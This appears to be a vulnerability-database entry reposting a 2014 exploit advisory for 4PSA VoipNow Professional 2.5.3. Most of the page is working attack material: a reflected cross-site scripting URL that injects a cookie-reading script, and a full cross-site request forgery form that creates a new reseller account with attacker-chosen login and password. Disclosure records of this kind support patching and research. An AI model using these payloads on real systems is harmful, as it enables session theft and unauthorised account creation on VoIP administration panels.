4psa voipnow professional 2.5.3 - Multiple Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

4PSA VoipNow Professional 2.5.3 Reflected XSS / CSRF (Add Reseller) Vulnerabilitie


                                                4PSA VoipNow Professional 2.5.3 Reflected XSS / CSRF (Add Reseller) Vulnerabilities
==================================================================================

##################################################################################
.:. Author         :  Aboud-el [[email protected]]
.:. Script         : http://www.4psa.com/
.:. Gr34T$ T0 [AtT4CKxT3rR0r1ST]
##################################################################################

===[ Exploit ]===

Reflected XSS
=============

http://SITE/index.php?nsextt=&#39;&#34;&#60;script&#62;alert(document.cookie)&#60;/script&#62;


CSRF (Add Reseller)
===================

&#60;form method=&#34;POST&#34; name=&#34;form0&#34; action=&#34;http://SITE/content.php?screen=resellers/edit_reseller&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;edit_reseller_cmd&#34; value=&#34;1&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;client_template_id&#34; value=&#34;2&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;company&#34; value=&#34;.....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;name&#34; value=&#34;.....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;login&#34; value=&#34;.....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;password&#34; value=&#34;.....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;cpassword&#34; value=&#34;.....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;phone&#34; value=&#34;.....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fax&#34; value=&#34;.....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;.....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;address&#34; value=&#34;.....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;city&#34; value=&#34;.....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;pcode&#34; value=&#34;00961&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;country_id&#34; value=&#34;122&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;region_id&#34; value=&#34;2073&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;timezone_id&#34; value=&#34;197&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;language&#34; value=&#34;en&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;notes&#34; value=&#34;.....&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;billing_plan_id&#34; value=&#34;274&#34;/&#62;
&#60;input type=&#34;hidden&#34; name=&#34;charging_identifier&#34; value=&#34;.....&#34;/&#62;
&#60;/form&#62;
&#60;form method=&#34;GET&#34; name=&#34;form1&#34; action=&#34;http://SITE/content.php?screen=resellers/resellers&&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;name&#34; value=&#34;value&#34;/&#62; 
&#60;/form&#62;

&#60;/body&#62;
&#60;/html&#62;

##################################################################################

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1